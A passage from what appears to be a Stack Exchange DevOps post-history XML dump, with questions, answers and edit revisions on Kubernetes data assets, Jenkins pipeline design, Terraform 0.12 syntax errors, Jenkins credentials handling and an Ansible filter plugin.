bundling all of the data into a single package that has the same delivery convenience as a Docker image. &#xD;&#xA;&#xD;&#xA;**Is there a better way to provide this read-only data as a version controlled snapshot?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="35125" PostHistoryTypeId="1" PostId="11482" RevisionGUID="3953a69f-df70-4fe9-99d5-f363536c91a5" CreationDate="2020-05-01T16:42:43.107" UserId="21759" Text="How can I best deliver read only data assets to a Kubernetes application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35126" PostHistoryTypeId="3" PostId="11482" RevisionGUID="3953a69f-df70-4fe9-99d5-f363536c91a5" CreationDate="2020-05-01T16:42:43.107" UserId="21759" Text="&lt;kubernetes&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35127" PostHistoryTypeId="2" PostId="11483" RevisionGUID="ad1b0b4b-fd4d-4a31-9a5d-c148f0a62b91" CreationDate="2020-05-01T19:35:19.233" UserId="6162" Text="&gt;we'd prefer not to bake them into the actual Docker image itself (plus we want the ability to change the assets without having to recompile the application images).&#xD;&#xA;&#xD;&#xA;This is indeed good properties to have. You are on the right track.&#xD;&#xA;&#xD;&#xA;&gt; The problem, however, comes with our read-only data assets (similar to a game's asset files).&#xD;&#xA;&#xD;&#xA;This can be solved with multiple solutions, it's hard to tell what is the best for you. Here are some alternatives.&#xD;&#xA;&#xD;&#xA;**Persistent Volume - ReadOnlyMany**&#xD;&#xA;&#xD;&#xA;&gt;I know that we're essentially looking for a persistent volume for Kubernetes, but the problem for us is bundling all of the data into a single package that has the same delivery convenience as a Docker image.&#xD;&#xA;&#xD;&#xA;Yes, you could create a [Persistent Volume][1] with [access modes][2]:&#xD;&#xA;&#xD;&#xA;    accessModes:&#xD;&#xA;    - ReadWriteOnce&#xD;&#xA;    - ReadOnlyMany&#xD;&#xA;&#xD;&#xA;then (by an automatic process)&#xD;&#xA;&#xD;&#xA;1. Load your data onto the volume with a [Job][3] using access mode `ReadWriteOnce`&#xD;&#xA;2. Load the volumes to your pods/services using access mode `ReadOnlyMany`&#xD;&#xA;&#xD;&#xA;and keep the volume immutable, you create a new when you need to change content. You can also use multiple volumes this way.&#xD;&#xA;&#xD;&#xA;**CDN**&#xD;&#xA;&gt;our read-only data assets (similar to a game's asset files).&#xD;&#xA;&#xD;&#xA;This inherently also sounds what typically is served by [Content Deliver Networks][4]. But it depends on your use case if this is a good solution or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Buckets**&#xD;&#xA;&#xD;&#xA;Data for e.g. CDN is usually stored by &quot;buckets&quot; at cloud providers, that may also be an option, then your applications load data using HTTP typically. [Minio][5] may be an alternative if you want to do this in your cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/storage/persistent-volumes/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes&#xD;&#xA;  [3]: https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Content_delivery_network&#xD;&#xA;  [5]: https://min.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35128" PostHistoryTypeId="2" PostId="11484" RevisionGUID="103e4f91-2168-43ee-8c05-98fb9c2d1bb0" CreationDate="2020-05-01T20:43:55.200" UserId="18045" Text="Man, I asked this question recently on a few other stackexchange sites and got downvoted for an &quot;opinion&quot; question. So i'm glad to see it answered here. &#xD;&#xA;&#xD;&#xA;I recently built a build-test-publish-deploy-rollback pipeline and struggled with the question of one-or-many pipes. I decided on a single pipe to do all tasks, with the reason that it would be easy to go to one place, and tell the pipe what you want to do by entering parameters. It seemed like a good idea at the time, but i have smelled a few drawbacks since releasing it:&#xD;&#xA;&#xD;&#xA;1. A success or failure of a given pipeline build doesn't mean the application code is necessarily bad. For example, we had a push to production fail due to a bug in the pipe code, but that doesn't mean the app build is bad. But the Build Status Badge shows `Failed` in our ReadMe. Which isn't true (the way we see it).&#xD;&#xA;2. It is more complicated. There are several paths through the pipe, determined by the parameter values. More chance for error, harder to review, etc.&#xD;&#xA;3. Blatantly breaks the principle of single responsibility, as well as the principle of least amazement. It would not necessarily do what one might expect based on some rules i'd built in, for the purposes of protecting the users. With a simpler pipe, there'd be less chance of error.&#xD;&#xA;3. Our org isn't evolved to true Continuous Deploy yet, so there will always be a delay and a person pushing the &quot;deploy&quot; button, even to QA. We may move to CD into QA sooner rather than later, but we have to prove the safety and reliability of all of this before the higher-ups will be comfortable with CD into production.&#xD;&#xA;&#xD;&#xA;All of which speaks to separate pipes with clearly delineated functions. &#xD;&#xA;&#xD;&#xA;I am now building another pipeline for a service of the same type, and I plan to refactor to use separate pipes to build and deploy - same as @jayhendren listed above:&#xD;&#xA;&#xD;&#xA;1. Build, Test (barely exists at this point), Publish Artifacts&#xD;&#xA;  1. I am trying to build cookbooks to spin up temporary machines to deploy to give devs siloed test sandboxes.&#xD;&#xA;2. Deploy to QA&#xD;&#xA;3. Deploy to Prod&#xD;&#xA;&#xD;&#xA;One thing worth mentioning is we are definitely using Multibranch pipes, at least for the build pipes, and Declarative syntax wherever possible. &#xD;&#xA;Thinking about it as i write this, the Build pipe can stay as it is now, as a multibranch pipeline job built off of the Jenkinsfile living in the app's repo, and building on any push to github.&#xD;&#xA;Then i can manually build additional pipelines for deploying - templated so they're generic, and only pass the unique variables to each one." ContentLicense="CC BY-SA 4.0" />
  <row Id="35132" PostHistoryTypeId="5" PostId="11484" RevisionGUID="e7375d69-b832-4bdd-9bc6-87bd881bd876" CreationDate="2020-05-01T22:24:19.167" UserId="739" Comment="copy editing" Text="Man, I asked this question recently on a few other stackexchange sites and got downvoted for an &quot;opinion&quot; question. So I'm glad to see it answered here. &#xD;&#xA;&#xD;&#xA;I recently built a build-test-publish-deploy-rollback pipeline and struggled with the question of one-or-many pipes. I decided on a single pipe to do all tasks, with the reason that it would be easy to go to one place, and tell the pipe what you want to do by entering parameters. It seemed like a good idea at the time, but I have smelled a few drawbacks since releasing it:&#xD;&#xA;&#xD;&#xA;1. A success or failure of a given pipeline build doesn't mean the application code is necessarily bad. For example, we had a push to production fail due to a bug in the pipe code, but that doesn't mean the app build is bad. But the Build Status Badge shows `Failed` in our ReadMe. Which isn't true (the way we see it).&#xD;&#xA;2. It is more complicated. There are several paths through the pipe, determined by the parameter values. More chance for error, harder to review, etc.&#xD;&#xA;3. Blatantly breaks the principle of single responsibility, as well as the principle of least amazement. It would not necessarily do what one might expect based on some rules i'd built in, for the purposes of protecting the users. With a simpler pipe, there'd be less chance of error.&#xD;&#xA;3. Our org isn't evolved to true Continuous Deploy yet, so there will always be a delay and a person pushing the &quot;deploy&quot; button, even to QA. We may move to CD into QA sooner rather than later, but we have to prove the safety and reliability of all of this before the higher-ups will be comfortable with CD into production.&#xD;&#xA;&#xD;&#xA;All of which speaks to separate pipes with clearly delineated functions. &#xD;&#xA;&#xD;&#xA;I am now building another pipeline for a service of the same type, and I plan to refactor to use separate pipes to build and deploy - same as @jayhendren listed above:&#xD;&#xA;&#xD;&#xA;1. Build, Test (barely exists at this point), Publish Artifacts&#xD;&#xA;  1. I am trying to build cookbooks to spin up temporary machines to deploy to give devs siloed test sandboxes.&#xD;&#xA;2. Deploy to QA&#xD;&#xA;3. Deploy to Prod&#xD;&#xA;&#xD;&#xA;One thing worth mentioning is we are definitely using Multibranch pipes, at least for the build pipes, and Declarative syntax wherever possible. &#xD;&#xA;Thinking about it as I write this, the Build pipe can stay as it is now, as a multibranch pipeline job built off of the Jenkinsfile living in the app's repo, and building on any push to github.&#xD;&#xA;Then I can manually build additional pipelines for deploying - templated so they're generic, and only pass the unique variables to each one." ContentLicense="CC BY-SA 4.0" />
  <row Id="35133" PostHistoryTypeId="2" PostId="11486" RevisionGUID="3b249a11-fcdc-48d1-a2fe-497a9b86ea39" CreationDate="2020-05-01T22:46:11.053" UserId="22024" Text="I'm just about positive that this Task is buggy and custom FTP Commands do not work at all. However, if the directory you specify in &quot;Remote directory&quot; does not exist it will be created so don't worry up doing a `mkdir`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35134" PostHistoryTypeId="5" PostId="11486" RevisionGUID="ef28b9bc-f433-45ec-9893-6e1acc843190" CreationDate="2020-05-01T23:06:22.933" UserId="22024" Comment="added 3 characters in body" Text="I'm just about positive that this Task is buggy and custom FTP Commands do not work at all. However, if the directory you specify in &quot;Remote directory&quot; does not exist it will be created so don't worry about doing a `mkdir`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35145" PostHistoryTypeId="5" PostId="11484" RevisionGUID="d4bdd18a-40f7-47cc-a9b0-04518cde5b47" CreationDate="2020-05-02T05:58:30.883" UserId="40" Comment="remove noise" Text="&#xD;&#xA;I recently built a build-test-publish-deploy-rollback pipeline and struggled with the question of one-or-many pipes. I decided on a single pipe to do all tasks, with the reason that it would be easy to go to one place, and tell the pipe what you want to do by entering parameters. It seemed like a good idea at the time, but I have smelled a few drawbacks since releasing it:&#xD;&#xA;&#xD;&#xA;1. A success or failure of a given pipeline build doesn't mean the application code is necessarily bad. For example, we had a push to production fail due to a bug in the pipe code, but that doesn't mean the app build is bad. But the Build Status Badge shows `Failed` in our ReadMe. Which isn't true (the way we see it).&#xD;&#xA;2. It is more complicated. There are several paths through the pipe, determined by the parameter values. More chance for error, harder to review, etc.&#xD;&#xA;3. Blatantly breaks the principle of single responsibility, as well as the principle of least amazement. It would not necessarily do what one might expect based on some rules i'd built in, for the purposes of protecting the users. With a simpler pipe, there'd be less chance of error.&#xD;&#xA;3. Our org isn't evolved to true Continuous Deploy yet, so there will always be a delay and a person pushing the &quot;deploy&quot; button, even to QA. We may move to CD into QA sooner rather than later, but we have to prove the safety and reliability of all of this before the higher-ups will be comfortable with CD into production.&#xD;&#xA;&#xD;&#xA;All of which speaks to separate pipes with clearly delineated functions. &#xD;&#xA;&#xD;&#xA;I am now building another pipeline for a service of the same type, and I plan to refactor to use separate pipes to build and deploy - same as @jayhendren listed above:&#xD;&#xA;&#xD;&#xA;1. Build, Test (barely exists at this point), Publish Artifacts&#xD;&#xA;  1. I am trying to build cookbooks to spin up temporary machines to deploy to give devs siloed test sandboxes.&#xD;&#xA;2. Deploy to QA&#xD;&#xA;3. Deploy to Prod&#xD;&#xA;&#xD;&#xA;One thing worth mentioning is we are definitely using Multibranch pipes, at least for the build pipes, and Declarative syntax wherever possible. &#xD;&#xA;Thinking about it as I write this, the Build pipe can stay as it is now, as a multibranch pipeline job built off of the Jenkinsfile living in the app's repo, and building on any push to github.&#xD;&#xA;Then I can manually build additional pipelines for deploying - templated so they're generic, and only pass the unique variables to each one." ContentLicense="CC BY-SA 4.0" />
  <row Id="35157" PostHistoryTypeId="2" PostId="11491" RevisionGUID="5f70239a-7234-46ce-9ed6-2f4c2179891b" CreationDate="2020-05-02T18:42:20.373" UserId="21648" Text="I have just upgraded from terraform v0.11 to v0.12&#xD;&#xA;But i am facing lot of error&#xD;&#xA;&#xD;&#xA;especially in the block&#xD;&#xA;&#xD;&#xA;     secrets = [&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;        {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;v0.11 code which had no issue&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;       resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;          env {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = [&#xD;&#xA;            {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        networks = [&#xD;&#xA;          &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;v0.12 code &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;docker_image.mysql_image.name&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;    &#xD;&#xA;            {&#xD;&#xA;              secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;            },&#xD;&#xA;    &#xD;&#xA;            {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;          env = {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;docker_volume.mysql_data_volume.name&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Error&#xD;&#xA;&#xD;&#xA;    [cloud_user@siwgftd9213c secrets]$ terraform validate&#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 8, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;       8:       secrets = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;secrets&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;secrets&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 26, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      26:       mounts = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;mounts&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;mounts&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on main.tf line 34, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      34:     networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;networks&quot;: set of string required.&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35158" PostHistoryTypeId="1" PostId="11491" RevisionGUID="5f70239a-7234-46ce-9ed6-2f4c2179891b" CreationDate="2020-05-02T18:42:20.373" UserId="21648" Text="Terraform syntax error" ContentLicense="CC BY-SA 4.0" />
  <row Id="35159" PostHistoryTypeId="3" PostId="11491" RevisionGUID="5f70239a-7234-46ce-9ed6-2f4c2179891b" CreationDate="2020-05-02T18:42:20.373" UserId="21648" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35160" PostHistoryTypeId="2" PostId="11492" RevisionGUID="9a8bd4b3-339a-487a-9214-d66df61a6b00" CreationDate="2020-05-02T20:09:50.770" UserId="21648" Text="I just want to understand what is secret_id in secrets block in below code&#xD;&#xA;&#xD;&#xA;        resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;&#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;&#xD;&#xA;      secrets = [&#xD;&#xA;        {&#xD;&#xA;          secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;          secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;          secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;      env {&#xD;&#xA;        MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;        MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      mounts = [&#xD;&#xA;        {&#xD;&#xA;          target = &quot;/var/lib/mysql&quot;&#xD;&#xA;          source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;          type   = &quot;volume&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;    networks = [&#xD;&#xA;      &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;    ]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35161" PostHistoryTypeId="1" PostId="11492" RevisionGUID="9a8bd4b3-339a-487a-9214-d66df61a6b00" CreationDate="2020-05-02T20:09:50.770" UserId="21648" Text="what is secret_id in secrets block" ContentLicense="CC BY-SA 4.0" />
  <row Id="35162" PostHistoryTypeId="3" PostId="11492" RevisionGUID="9a8bd4b3-339a-487a-9214-d66df61a6b00" CreationDate="2020-05-02T20:09:50.770" UserId="21648" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35163" PostHistoryTypeId="2" PostId="11493" RevisionGUID="e8ebdd1b-184d-4e54-b57d-f3b1d2d2cd62" CreationDate="2020-05-02T20:56:00.190" UserId="21951" Text="These were made as [errors in 0.12][1].  You need to put these into tfvars file in a [locals definition][2]. &#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;       secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;       secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;       file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/hashicorp/terraform/issues/19424&#xD;&#xA;  [2]: https://www.terraform.io/docs/configuration/locals.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="35164" PostHistoryTypeId="2" PostId="11494" RevisionGUID="89682dc4-fb09-43d0-87d0-1804c9eda3ad" CreationDate="2020-05-02T21:11:03.813" UserId="22059" Text="John's answer works just fine.  An alternative is to use the `withCredentials` block, which is built right into core Jenkins.&#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;&#xD;&#xA;  stages {&#xD;&#xA;    ...&#xD;&#xA;    stage('Publish') {&#xD;&#xA;      steps {&#xD;&#xA;        withCredentials([usernamePassword(credentialsId: 'sonar-publisher', usernameVariable: 'SONAR_USER', passwordVariable: 'SONAR_PASSWORD')]) {&#xD;&#xA;          // maybe do stuff with variables, echoing them prints *****&#xD;&#xA;          sh './gradlew sonar'&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The only requirement in this scenario is that the credentials `sonar-publisher` exists on the Jenkins master and your job has access to them." ContentLicense="CC BY-SA 4.0" />
  <row Id="35165" PostHistoryTypeId="2" PostId="11495" RevisionGUID="b805cde4-5004-4e19-bb60-bce5e7c6c5df" CreationDate="2020-05-03T00:16:14.040" UserId="21951" Text="There's a lot that you can do, but I'm not sure with the existing filters you easily augment a dict.&#xD;&#xA;&#xD;&#xA;Creating a [new filter][1] to do it was easier.&#xD;&#xA;&#xD;&#xA;    $ cat filter_plugins/addhomedir.py&#xD;&#xA;    class FilterModule:&#xD;&#xA;        @staticmethod&#xD;&#xA;        def add_home(_val):&#xD;&#xA;            return [dict(user, home='/home/{0}/'.format(user['name'])) for user in&#xD;&#xA;                    _val if 'sudo' not in user]&#xD;&#xA;&#xD;&#xA;        def filters(self):&#xD;&#xA;            return {&#xD;&#xA;                'add_homedir': self.add_home&#xD;&#xA;            }&#xD;&#xA;    $ cat test1.yml&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      vars:&#xD;&#xA;         users:&#xD;&#xA;             - name: alice&#xD;&#xA;               sudo: yes&#xD;&#xA;             - name: bob&#xD;&#xA;             - name: charlie&#xD;&#xA;      tasks:&#xD;&#xA;          - debug:&#xD;&#xA;              msg: &quot;{{ users | add_homedir | list }}&quot;&#xD;&#xA;&#xD;&#xA;  You can use set_facts and loop to get the values you want, but the question becomes what format and use of the data is really needed.  I'm not sure creating a new structure is the Right Way (TM).  It could be easier to just calculate the individual value for each item in the list when it is used.&#xD;&#xA;&#xD;&#xA;    $ cat test2.yml&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      vars:&#xD;&#xA;          users:&#xD;&#xA;            - name: alice&#xD;&#xA;              sudo: yes&#xD;&#xA;            - name: bob&#xD;&#xA;            - name: charlie&#xD;&#xA;      tasks:&#xD;&#xA;         - user:&#xD;&#xA;             name: &quot;{{ item['name'] }}&quot;&#xD;&#xA;             create_home: true&#xD;&#xA;             home: &quot;{{ '/home/{}/'.format(item['name'] }}&quot;&#xD;&#xA;           when: &quot;'sudo' not in item&quot;&#xD;&#xA;           loop: &quot;{{ users }}&quot;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/dev_guide/developing_plugins.html#filter-plugins" ContentLicense="CC BY-SA 4.0" />
  <row Id="35167" PostHistoryTypeId="5" PostId="11491" RevisionGUID="8e1fc67a-d9aa-4445-9f1e-b06cb77fd14b" CreationDate="2020-05-03T03:53:36.027" UserId="21648" Comment="added 523 characters in body; edited tags" Text="I have just upgraded from terraform v0.11 to v0.12&#xD;&#xA;But i am facing lot of error&#xD;&#xA;&#xD;&#xA;especially in the block&#xD;&#xA;&#xD;&#xA;     secrets = [&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;        {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;v0.11 code which had no issue&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;       resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;          env {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = [&#xD;&#xA;            {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        networks = [&#xD;&#xA;          &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;v0.12 code &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;docker_image.mysql_image.name&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;    &#xD;&#xA;            {&#xD;&#xA;              secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;            },&#xD;&#xA;    &#xD;&#xA;            {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;          env = {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;docker_volume.mysql_data_volume.name&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Error&#xD;&#xA;&#xD;&#xA;    [cloud_user@siwgftd9213c secrets]$ terraform validate&#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 